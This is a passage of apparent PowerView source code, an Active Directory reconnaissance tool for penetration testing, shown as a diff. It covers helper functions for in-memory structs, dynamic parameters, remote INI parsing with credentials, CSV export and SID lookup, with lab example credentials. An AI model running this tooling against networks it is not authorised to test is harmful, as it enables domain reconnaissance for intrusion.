PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 1, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +Function New-DynamicParameter { +<# +.SYNOPSIS + +Helper function to simplify creating dynamic parameters. + + Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. + Originally released under the Microsoft Public License (Ms-PL). + +.DESCRIPTION + +Helper function to simplify creating dynamic parameters. + +Example use cases: + Include parameters only if your environment dictates it + Include parameters depending on the value of a user-specified parameter + Provide tab completion and intellisense for parameters, depending on the environment + +Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. + Use New-DynamicParameter with 'CreateVariables' switch in your main code block, + ('Process' for advanced functions) to create those variables. + Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. + +This function has two operating modes: + +1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, +with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. + +2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. +Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, +with custom conditions and so on. + +.NOTES + +Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: + https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 + http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ + http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ + +Credit to BM for alias and type parameters and their handling + +.PARAMETER Name + +Name of the dynamic parameter + +.PARAMETER Type + +Type for the dynamic parameter. Default is string + +.PARAMETER Alias + +If specified, one or more aliases to assign to the dynamic parameter + +.PARAMETER Mandatory + +If specified, set the Mandatory attribute for this dynamic parameter + +.PARAMETER Position + +If specified, set the Position attribute for this dynamic parameter + +.PARAMETER HelpMessage + +If specified, set the HelpMessage for this dynamic parameter + +.PARAMETER DontShow + +If specified, set the DontShow for this dynamic parameter. +This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. +http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ + +.PARAMETER ValueFromPipeline + +If specified, set the ValueFromPipeline attribute for this dynamic parameter + +.PARAMETER ValueFromPipelineByPropertyName + +If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter + +.PARAMETER ValueFromRemainingArguments + +If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter + +.PARAMETER ParameterSetName + +If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. + +.PARAMETER AllowNull + +If specified, set the AllowNull attribute of this dynamic parameter + +.PARAMETER AllowEmptyString + +If specified, set the AllowEmptyString attribute of this dynamic parameter + +.PARAMETER AllowEmptyCollection + +If specified, set the AllowEmptyCollection attribute of this dynamic parameter + +.PARAMETER ValidateNotNull + +If specified, set the ValidateNotNull attribute of this dynamic parameter + +.PARAMETER ValidateNotNullOrEmpty + +If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter + +.PARAMETER ValidateRange + +If specified, set the ValidateRange attribute of this dynamic parameter + +.PARAMETER ValidateLength + +If specified, set the ValidateLength attribute of this dynamic parameter + +.PARAMETER ValidatePattern + +If specified, set the ValidatePattern attribute of this dynamic parameter + +.PARAMETER ValidateScript + +If specified, set the ValidateScript attribute of this dynamic parameter + +.PARAMETER ValidateSet + +If specified, set the ValidateSet attribute of this dynamic parameter + +.PARAMETER Dictionary + +If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. +Appropriate for custom dynamic parameters creation. + +If not specified, create and return a RuntimeDefinedParameterDictionary +Appropriate for a simple dynamic parameter creation. +#> + + [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] + Param ( + [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$Name, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [System.Type]$Type = [int], + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string[]]$Alias, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$Mandatory, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [int]$Position, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$HelpMessage, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$DontShow, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipeline, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipelineByPropertyName, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromRemainingArguments, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$ParameterSetName = '__AllParameterSets', + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyString, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyCollection, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNullOrEmpty, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateCount, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateRange, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateLength, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$ValidatePattern, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [scriptblock]$ValidateScript, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string[]]$ValidateSet, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) + { + Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' + } + $true + })] + $Dictionary = $false, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [switch]$CreateVariables, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, + # so one can't use PowerShell's '-is' operator to validate type. + if($_.GetType().Name -notmatch 'Dictionary') { + Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' + } + $true + })] + $BoundParameters + ) + + Begin { + $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary + function _temp { [CmdletBinding()] Param() } + $CommonParameters = (Get-Command _temp).Parameters.Keys + } + + Process { + if($CreateVariables) { + $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } + ForEach($Parameter in $BoundKeys) { + if ($Parameter) { + Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force + } + } + } + else { + $StaleKeys = @() + $StaleKeys = $PSBoundParameters.GetEnumerator() | + ForEach-Object { + if($_.Value.PSobject.Methods.Name -match '^Equals$') { + # If object has Equals, compare bound key and variable using it + if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { + $_.Key + } + } + else { + # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator + if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { + $_.Key + } + } + } + if($StaleKeys) { + $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} + } + + # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters + $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | + # Find parameters that are belong to the current parameter set + Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | + Select-Object -ExpandProperty Key | + # Find unbound parameters in the current parameter set + Where-Object { $PSBoundParameters.Keys -notcontains $_ } + + # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) + $tmp = $null + ForEach ($Parameter in $UnboundParameters) { + $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 + if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { + $PSBoundParameters.$Parameter = $DefaultValue + } + } + + if($Dictionary) { + $DPDictionary = $Dictionary + } + else { + $DPDictionary = $InternalDictionary + } + + # Shortcut for getting local variables + $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} + + # Strings to match attributes and validation arguments + $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' + $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' + $AliasRegex = '^Alias$' + $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute + + switch -regex ($PSBoundParameters.Keys) { + $AttributeRegex { + Try { + $ParameterAttribute.$_ = . $GetVar + } + Catch { + $_ + } + continue + } + } + + if($DPDictionary.Keys -contains $Name) { + $DPDictionary.$Name.Attributes.Add($ParameterAttribute) + } + else { + $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] + switch -regex ($PSBoundParameters.Keys) { + $ValidationRegex { + Try { + $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterOptions) + } + Catch { $_ } + continue + } + $AliasRegex { + Try { + $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterAlias) + continue + } + Catch { $_ } + } + } + $AttributeCollection.Add($ParameterAttribute) + $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) + $DPDictionary.Add($Name, $Parameter) + } + } + } + + End { + if(!$CreateVariables -and !$Dictionary) { + $DPDictionary + } + } +} + + +function Get-IniContent { +<# +.SYNOPSIS + +This helper parses an .ini file into a hashtable. + +Author: 'The Scripting Guys' +Modifications: @harmj0y (-Credential support) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +Parses an .ini file into a hashtable. If -Credential is supplied, +then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file +is parsed, and then the connection is destroyed with Remove-RemoteConnection. + +.PARAMETER Path + +Specifies the path to the .ini file to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-IniContent C:\Windows\example.ini + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent -OutputObject + +Outputs the .ini details as a proper nested PSObject. + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred + +.INPUTS + +String + +Accepts one or more .ini paths on the pipeline. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed .ini file. + +.LINK + +https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName', 'Name')] + [ValidateNotNullOrEmpty()] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $OutputObject + ) + + BEGIN { + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + if (Test-Path -Path $TargetPath) { + if ($PSBoundParameters['OutputObject']) { + $IniObject = New-Object PSObject + } + else { + $IniObject = @{} + } + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + if ($PSBoundParameters['OutputObject']) { + $Section = $Section.Replace(' ', '') + $SectionObject = New-Object PSObject + $IniObject | Add-Member Noteproperty $Section $SectionObject + } + else { + $IniObject[$Section] = @{} + } + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Value + } + else { + $IniObject[$Section][$Name] = $Value + } + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object { $_.Trim() } + + # if ($Values -isnot [System.Array]) { $Values = @($Values) } + + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Values + } + else { + $IniObject[$Section][$Name] = $Values + } + } + } + $IniObject + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Export-PowerViewCSV { +<# +.SYNOPSIS + +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +.PARAMETER InputObject + +Specifies the objects to export as CSV strings. + +.PARAMETER Path + +Specifies the path to the CSV output file. + +.PARAMETER Delimiter + +Specifies a delimiter to separate the property values. The default is a comma (,) + +.PARAMETER Append + +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' + +.INPUTS + +PSObject + +Accepts one or more PSObjects on the pipeline. + +.LINK + +http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [System.Management.Automation.PSObject[]] + $InputObject, + + [Parameter(Mandatory = $True, Position = 1)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Position = 2)] + [ValidateNotNullOrEmpty()] + [Char] + $Delimiter = ',', + + [Switch] + $Append + ) + + BEGIN { + $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) + $Exists = [System.IO.File]::Exists($OutputPath) + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' + $Null = $Mutex.WaitOne() + + if ($PSBoundParameters['Append']) { + $FileMode = [System.IO.FileMode]::Append + } + else { + $FileMode = [System.IO.FileMode]::Create + $Exists = $False + } + + $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) + $CSVWriter.AutoFlush = $True + } + + PROCESS { + ForEach ($Entry in $InputObject) { + $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation + + if (-not $Exists) { + # output the object field names as well + $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } + $Exists = $True + } + else { + # only output object field data + $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } + } + } + } + + END { + $Mutex.ReleaseMutex() + $CSVWriter.Dispose() + $CSVStream.Dispose() + } +} + + +function Resolve-IPAddress { +<# +.SYNOPSIS + +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Resolves a given hostename to its associated IPv4 address using +[Net.Dns]::GetHostEntry(). If no hostname is provided, the default +is the IP address of the localhost. + +.EXAMPLE + +Resolve-IPAddress -ComputerName SERVER + +.EXAMPLE + +@("SERVER1", "SERVER2") | Resolve-IPAddress + +.INPUTS + +String + +Accepts one or more IP address strings on the pipeline. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with the ComputerName and IPAddress. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out + } + } + } + catch { + Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." + } + } + } +} + + +function ConvertTo-SID { +<# +.SYNOPSIS + +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +.DESCRIPTION + +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +.PARAMETER ObjectName + +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertTo-SID 'DEV\dfm' + +.EXAMPLE + +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred + +.INPUTS + +String + +Accepts one or more username specification strings on the pipeline. + +.OUTPUTS + +String + +A string representing the SID of the translated name. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, 